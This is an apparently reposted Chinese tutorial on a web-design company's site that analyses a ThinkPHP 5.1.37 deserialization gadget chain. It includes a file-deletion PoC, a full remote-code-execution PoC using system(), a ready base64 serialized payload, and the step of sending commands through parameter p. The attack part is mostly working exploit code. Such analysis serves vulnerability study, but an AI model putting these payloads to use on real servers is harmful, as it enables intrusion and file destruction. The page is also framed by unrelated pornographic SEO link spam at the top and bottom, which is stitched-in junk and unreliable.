欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

如何理解thinkphp5.1.37反序列化

如何理解thinkphp5.1.37反序列化,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學(xué)習(xí)下,希望你能有所收獲。

創(chuàng)新互聯(lián)主營沈北新網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營網(wǎng)站建設(shè)方案,重慶App定制開發(fā),沈北新h5微信平臺小程序開發(fā)搭建,沈北新網(wǎng)站營銷推廣歡迎沈北新等地區(qū)企業(yè)咨詢

紙上得來終覺淺,絕知此事要躬行。網(wǎng)上已經(jīng)有很多分析的文章了,但是我還是決定按自己的理解寫一下分析利用過程,化繁為簡、深入淺出讓它看起來更容易懂一些,降低理解的難度。

下載地址:

應(yīng)用項目:https://github.com/top-think/think

核心框架:https://github.com/top-think/framework

把framework修改為thinkphp放入到thinkphp5.1.37文件夾中這樣整個框架就搭建好了

反序列化鏈涉及到的文件:

起點文件->  thinkphp\library\think\process\pipes\Windows.php

thinkphp\library\think\model\concern\Conversion.php

thinkphp\library\think\model\concern\ Attribute.php

thinkphp\library\think\model\concern\ RelationShip.php

thinkphp\library\think\Model.php

thinkphp\library\think\Pivot.php

終點文件->  thinkphp\library\think\Request.php

是不是覺得文件很多,頭很大,那我們來簡化一下

起點文件->  thinkphp\library\think\process\pipes\Windows.php

thinkphp\library\think\Pivot.php

終點文件->  thinkphp\library\think\Request.php

為什么這樣寫呢因為 Conversion、Attribute 和RelationShip是trait類,其代碼可以復(fù)用,而model類復(fù)用了這三個文件的代碼所以我們就可以把這四個文件看做一個文件,然而model類文件是abstract(抽象)類不能直接使用,pivot類繼承了model類,所以pivot文件相當(dāng)于這四個文件的一個集.合體。所以我們只用關(guān)注Windows.php、Pivot.php、Request.php這三個文件。

涉及到的方法:

Windows.php     下的 __destruct()方法、removeFiles()

Conversion.php    下的__toString()方法、toJson()方法、toArray()方法

RelationShip.php  下的getRelation()方法

Attribute.php        下的getAttr()方法、getData()方法

Request.php     下的__call()方法、isAjax()方法、param()方法、input()方法、filterValue()方法

這其中Conversion.php、RelationShip.php、Attribute.php   下的方法可以理解為Pivot.php的方法

我們把這個利用鏈路劃分為三個小目標(biāo):

1、利用Windows類激活__toString()魔術(shù)方法。

2、利用Pivot.類激活__call()魔術(shù)方法

3、利用Request類實現(xiàn)代碼執(zhí)行

利用鏈如下:
__destruct() —>removeFiles() —>_toString() —>toJson() —>toArray() —>getRelation() —>getAttr() —>getData() —>__call() —>isAjax() —>param() —>input() —>filterValue()

代碼分析:

Windows對象在進行反序列化操作時會執(zhí)行析構(gòu)方法__destruct(),然后調(diào)用了removeFiles方法在removeFiles方法中會判斷$this->files是不是存在存在即刪除,因此這里存在任意文件刪除,我們只要在生成windowsdu對象時進行$this->file賦值為一個文件的路徑,那么反序列化時就會刪除這個文件。

public function __destruct()

{

$this->close();

$this->removeFiles();

}

private function removeFiles()

{

foreach ($this->files as $filename) {

if (file_exists($filename)) {

@unlink($filename);

}

}

$this->files = [];

}

poc任意文件刪除:

<?php

namespace think\process\pipes;

class Windows{

private $files = [];

public function __construct(){

$this->files=['d:/1.txt'];

}

}

echo base64_encode(serialize(new Windows()));

在file_exists()函數(shù)中如果傳入的參數(shù)是一個對象的話,那么就會把這個對象當(dāng)做字符串,這樣就會觸發(fā)對象的__toString()魔術(shù)方法,而恰好在Conversion類中實現(xiàn)了這個方法(成功實現(xiàn)第一個小目標(biāo)),在Conversion類的__toString中又調(diào)用了toJson方法、toJson中又調(diào)用了toArray方法、

public function __toString()

{

return $this->toJson();

}

public function toJson($options = JSON_UNESCAPED_UNICODE)

{

return json_encode($this->toArray(), $options);

}

// 追加屬性(必須定義獲取器)

if (!empty($this->append)) {

foreach ($this->append as $key => $name) {

if (is_array($name)) {

// 追加關(guān)聯(lián)對象屬性

$relation = $this->getRelation($key);

if (!$relation) {

$relation = $this->getAttr($key);

$relation->visible($name);

}

在toArray中我們要控制$this->append的值不能為空數(shù)組,而且數(shù)組中的$name必須是一個數(shù)組,那么就會執(zhí)行g(shù)etRelation方法。所以這里呢我們在進行序列化時賦值$this->append=[‘a(chǎn)a’=>[]]那么$key=’aa’跟進getRelation方法。

public function getRelation($name = null)

{//此處的$name='aa'

if (is_null($name)) {

return $this->relation;

} elseif (array_key_exists($name, $this->relation)) {

return $this->relation[$name];

}

return;

}

在getRelation方法我們只要控制返回一個空值就好了;這就要求$name的值不能為null而且$name不是$this->relation這個數(shù)組中的一個鍵、$this->relation的值我們是可以控制的。當(dāng)$relation值為假的時候那么就會執(zhí)行g(shù)etAttr方法,我們跟進getAttr方法。

public function getAttr($name, &$item = null)

{

try {

$notFound = false;

//此時方法中的$name=’aa’

$value    = $this->getData($name);

} catch (InvalidArgumentException $e) {

$notFound = true;

$value    = null;

}

調(diào)用了getDate方法此時的參數(shù)$name=’aa’、繼續(xù)跟進

public function getData($name = null)

{

if (is_null($name)) {

return $this->data;

} elseif (array_key_exists($name, $this->data)) {

return $this->data[$name];

} elseif (array_key_exists($name, $this->relation)) {

return $this->relation[$name];

}

throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);

}

getDate的返回值為$this->data[$name]; 值$this->data的值是可控的我們可以在序列化時賦值$this->data=[‘a(chǎn)a’=>new Request()];沒錯返回值是一個request對象,為什么要返回request對象呢?是因為request對象中實現(xiàn)了一個__call()魔術(shù)方法。

if (!$relation) {

$relation = $this->getAttr($key);

$relation->visible($name);

}

在這里$relation為一個request對象,request對象調(diào)用visible方法時,因為request對象沒有visible方法就會激活__call魔術(shù)方法(成功實現(xiàn)第二個小目標(biāo)),下面跟進request類的__call方法。

public function __call($method, $args)

{

if (array_key_exists($method, $this->hook)) {

array_unshift($args, $this);

return call_user_func_array($this->hook[$method], $args);

}

throw new Exception('method not exists:' . static::class . '->' . $method);

}

這里的call_user_func_array回調(diào)函數(shù)會調(diào)用$this->hook[$method] 中的方法來處理args

這里的$method= ’visible’在進行序列化時我們對$this->hook進行賦值$this->hook=[‘visible’=>[$this,isAjax]] 意思就是調(diào)用request類的isAjax方法來處理$args.跟進isAJax方法:

public function isAjax($ajax = false)

{

$value  = $this->server('HTTP_X_REQUESTED_WITH');

$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {

return $result;

}

$result           = $this->param($this->config['var_ajax']) ? true : $result;

$this->mergeParam = false;

return $result;

}

這其中調(diào)用了param方法參數(shù)為$this->config['var_ajax']) 在進行序列化時我們對$this->config進行賦值$this->config=[‘var_ajax =>’p’]

public function param($name = '', $default = null, $filter = '')

{

……

//這里可以理解為$this->param=$_GET獲取get傳參。

$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

//此處$name=$this->config[‘var_ajax ]=‘p’

return $this->input($this->param, $name, $default, $filter);

}

我們跟進$this->get方法看一下

public function get($name = '', $default = null, $filter = '')

{

if (empty($this->get)) {

$this->get = $_GET;

}

return $this->input($this->get, $name, $default, $filter);

}

其實就是把url中g(shù)et傳的值添加到$this->param數(shù)組里面。

隨后調(diào)用了input方法,傳參$data=$this->param,$name=’p’

public function input($data = [], $name = '', $default = null, $filter = '')

{

……

$data = $this->getData($data, $name);

// 解析過濾器

$filter = $this->getFilter($filter, $default);

if (is_array($data)) {

array_walk_recursive($data, [$this, 'filterValue'], $filter);

}

}

Input方法中調(diào)用了  $data = $this->getData($data, $name);我們查看一下getData方法

protected function getData(array $data, $name)

{

foreach (explode('.', $name) as $val) {

if (isset($data[$val])) {

$data = $data[$val];

} else {

return;

}

}

return $data;

}

就是從參數(shù)$data中取得數(shù)組健為$name的值,所以$data=$data[$name]= $data[‘p’]

Input方法中調(diào)用$filter = $this->getFilter($filter, $default)跟進分析

protected function getFilter($filter, $default)

{

if (is_null($filter)) {

$filter = [];

} else {

$filter = $filter ?: $this->filter;

if (is_string($filter) && false === strpos($filter, '/')) {

$filter = explode(',', $filter);

} else {

$filter = (array) $filter;

}

}

$filter[] = $default;

return $filter;

}

所以$filter=$this->filter并轉(zhuǎn)為數(shù)組,我們在進行序列化的時候可以對其進行賦值.$filter=’system’所以這里返回的就是[‘system’]并作為filter參數(shù)傳給filtervalue方法

后面的array_walk_recursive($data, [$this, 'filterValue'], $filter)意思就是調(diào)用filtervalue方法對$data進行處理$filter是參數(shù),跟進filterfalue方法查看一下

private function filterValue(&$value, $key, $filters)

{

$default = array_pop($filters);

foreach ($filters as $filter) {

if (is_callable($filter)) {

// 調(diào)用函數(shù)或者方法過濾

$value = call_user_func($filter, $value);

call_user_func方法就是命令執(zhí)行的終點,這里的$value=$this->param[‘p’],$filter=[system]也就是說用system函數(shù)來執(zhí)行$value,$value的值可以視為訪問鏈接的時候提交的一個參數(shù)

/?p=whoami 最后執(zhí)行的就是 system(‘whoami’)(實現(xiàn)第三個小目標(biāo)),至此整改利用鏈構(gòu)造完成。

代碼執(zhí)行POC如下:

<?php

namespace think;

class Model{

//私有屬性不能在子類中修改

private $data=[];

public function __construct(){

$this->data=['aa'=>new Request];

}

}

namespace think;

class Request

{

protected $config = ['var_ajax' => 'p'];

protected $filter='system';

//必須初始化param變量為數(shù)組

protected $param = [];

protected $hook;

public function __construct(){

$this->hook=['visible'=>[$this,'isAjax']];

}

}

namespace think\model;

use think\Model;

class Pivot extends Model{

protected $append = ['aa'=>[]];

}

namespace think\process\pipes;

use think\model\Pivot;

class Windows

{

private $files = [];

function __construct(){

$this->files=[new Pivot()];

}

}

echo base64_encode(serialize(new windows));

利用過程如下:

1、把poc放到web服務(wù)器并進行訪問生成payload

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJhYSI7YTowOnt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6MjoiYWEiO086MTM6InRoaW5rXFJlcXVlc3QiOjQ6e3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MToicCI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YTowOnt9czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo3O2k6MTtzOjY6ImlzQWpheCI7fX19fX19fQ==

2、把payload放到tp框架里并進行反序列化操作

Thinkphp5.1.37/public/index.php文件
<?php

namespace app\index\controller;

class Index

{

public function index()

{

unserialize(base64_decode("TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJhYSI7YTowOnt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6MjoiYWEiO086MTM6InRoaW5rXFJlcXVlc3QiOjQ6e3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MToicCI7fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo4OiIAKgBwYXJhbSI7YTowOnt9czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo3O2k6MTtzOjY6ImlzQWpheCI7fX19fX19fQ=="));

}

public function hello($name = 'ThinkPHP5')

{

return 'hello,' . $name;

}

}

3、訪問框架并提交參數(shù)p的值為你想執(zhí)行的命令

如何理解thinkphp5.1.37反序列化

看完上述內(nèi)容是否對您有幫助呢?如果還想對相關(guān)知識有進一步的了解或閱讀更多相關(guān)文章,請關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝您對創(chuàng)新互聯(lián)的支持。

網(wǎng)站標(biāo)題:如何理解thinkphp5.1.37反序列化
轉(zhuǎn)載來于:http://aaarwkj.com/article2/jpoiic.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供微信小程序、網(wǎng)站排名標(biāo)簽優(yōu)化、移動網(wǎng)站建設(shè)、品牌網(wǎng)站制作、靜態(tài)網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

成都定制網(wǎng)站建設(shè)
亚洲国产传媒在线观看| 亚洲av一区二区三区| 麻豆视传媒短视频网站| 啊啊舒服爽用力爱我视频| 国产黄色片网站在线看| 国产麻豆精品传媒av| 久久一区二区三区播放| 国产美女口爆吞精久久| 国产高跟丝袜av专区| 亚洲一区二区视频免费看| 日韩网激情视频在线观看| 一区二区在线日韩欧美| 国产综合中文字幕不卡| 亚洲熟妇精品一区二区| 少妇太爽高潮在线播放| 亚洲性码不卡视频在线| 日韩精品熟妻人女亚洲一区| 亚洲av手机在线观看一区| 懂色粉嫩蜜臀久久一区二区| 人妻日韩字幕一区二区| 神马视频一区二区在线观看| 亚洲丰满熟女乱一区二区三区| 日本在线观看免费高清| 激情内射日本一区二区三区| 国产精品岛国片在线观看| 精品人妻少妇av一区二区| 日本高清不卡中文字幕| 精品人妻一区二区三区在线av| 久久草福利视频在线观看| av一区二区日韩精品久| 亚洲精品午夜福利网| 麻豆av久久一区二区| 亚洲一区二区三区香蕉不卡| 女厕所偷拍一区二区三区| 亚洲国产欧美日韩激情在线| 欧美高清一区二区在线播放| 一区二区久久精品视频| 亚洲一区二区三区日本久久| 内射性感黑丝少妇av| 性色视频一区二区三区| av免费观看一区二区三区|